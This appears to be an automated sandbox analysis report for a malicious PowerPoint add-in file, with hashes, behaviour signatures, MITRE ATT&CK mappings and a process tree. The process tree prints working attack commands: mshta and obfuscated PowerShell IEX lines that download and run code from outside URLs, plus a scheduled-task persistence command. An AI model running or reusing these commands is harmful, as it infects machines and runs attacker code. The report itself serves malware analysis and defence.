Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    17-07-2021 10:03

General

  • Target

    SO-19844 EIDCO.ppam

  • Size

    14KB

  • MD5

    24dd86688a277a16ca013809c71ab8c0

  • SHA1

    d3a1915ced9501a7ce269ee1ace23b4a50c8c5cd

  • SHA256

    643ce9630631fdc9051b4be5b3bd9d60281885380fb2fa777379711d938c3c91

  • SHA512

    89888f15eaacf0404e460830f497b2465bbaf75276e5cf5b0ae7420f50f9c00c4392479bb2cee291acbeefda71e4dd4d603b915244ed932d84608f8fc65b5119

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 18 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\SO-19844 EIDCO.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1352
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://www.bitly.com/ashjdkqodasdasdasdwdhqowdh
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:456
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""BlueStacks"" /F /tr ""\""MsHtA""\""http://1230948%1230948@0v2x.blogspot.com/p/34.html\""
          3⤵
          • Creates scheduled task(s)
          PID:1660
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601408.us.archive.org/12/items/psteric/psteric.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601408.us.archive.org/12/items/psteric/1.txt').GetResponse().GetResponseStream()).ReadToend());
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1056
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe ((gp HKCU:\Software).cookerr)|IEX
      1⤵
      • Process spawned unexpected child process
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1328

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
      MD5

      2902de11e30dcc620b184e3bb0f0c1cb

      SHA1

      5d11d14a2558801a2688dc2d6dfad39ac294f222

      SHA256

      e6a7f1f8810e46a736e80ee5ac6187690f28f4d5d35d130d410e20084b2c1544

      SHA512

      efd415cde25b827ac2a7ca4d6486ce3a43cdcc1c31d3a94fd7944681aa3e83a4966625bf2e6770581c4b59d05e35ff9318d9adaddade9070f131076892af2fa0

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
      MD5

      87c5e94030b004f1ceb3ae77a772f313

      SHA1

      444962abc553b2e59b77555df86c0ee86c8fc135

      SHA256

      b5df24106809bf6310679de83325d6097ed01542d2d50f469dd7343ce5299a86

      SHA512

      9caa022440848e99cda44225eb7e17c7fc2a109ebf883d8474813e183018c22c092982fcde8b61158530b91ac5c65de48d4ccee77dcec581c5f5d0cb97087754

    • memory/320-66-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/320-60-0x0000000070D41000-0x0000000070D43000-memory.dmp
      Filesize

      8KB

    • memory/320-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/320-63-0x0000000075051000-0x0000000075053000-memory.dmp
      Filesize

      8KB

    • memory/320-59-0x0000000073CA1000-0x0000000073CA5000-memory.dmp
      Filesize

      16KB

    • memory/456-65-0x0000000000000000-mapping.dmp
    • memory/1056-100-0x0000000002910000-0x0000000002911000-memory.dmp
      Filesize

      4KB

    • memory/1056-97-0x0000000002680000-0x0000000002681000-memory.dmp
      Filesize

      4KB

    • memory/1056-79-0x00000000049D0000-0x00000000049D1000-memory.dmp
      Filesize

      4KB

    • memory/1056-71-0x0000000000000000-mapping.dmp
    • memory/1056-78-0x0000000002010000-0x0000000002C5A000-memory.dmp
      Filesize

      12.3MB

    • memory/1056-77-0x0000000002320000-0x0000000002321000-memory.dmp
      Filesize

      4KB

    • memory/1328-75-0x000000001AB24000-0x000000001AB26000-memory.dmp
      Filesize

      8KB

    • memory/1328-98-0x0000000002790000-0x0000000002791000-memory.dmp
      Filesize

      4KB

    • memory/1328-74-0x000000001AB20000-0x000000001AB22000-memory.dmp
      Filesize

      8KB

    • memory/1328-73-0x0000000002330000-0x0000000002331000-memory.dmp
      Filesize

      4KB

    • memory/1328-68-0x00000000023E0000-0x00000000023E1000-memory.dmp
      Filesize

      4KB

    • memory/1328-80-0x000000001B710000-0x000000001B711000-memory.dmp
      Filesize

      4KB

    • memory/1328-81-0x000000001C3F0000-0x000000001C3F1000-memory.dmp
      Filesize

      4KB

    • memory/1328-82-0x00000000024C0000-0x00000000024C1000-memory.dmp
      Filesize

      4KB

    • memory/1328-85-0x0000000002820000-0x0000000002821000-memory.dmp
      Filesize

      4KB

    • memory/1328-69-0x000000001ABA0000-0x000000001ABA1000-memory.dmp
      Filesize

      4KB

    • memory/1328-76-0x0000000001F20000-0x0000000001F21000-memory.dmp
      Filesize

      4KB

    • memory/1328-99-0x00000000028E0000-0x00000000028E1000-memory.dmp
      Filesize

      4KB

    • memory/1352-64-0x000007FEFB531000-0x000007FEFB533000-memory.dmp
      Filesize

      8KB

    • memory/1352-62-0x0000000000000000-mapping.dmp
    • memory/1660-70-0x0000000000000000-mapping.dmp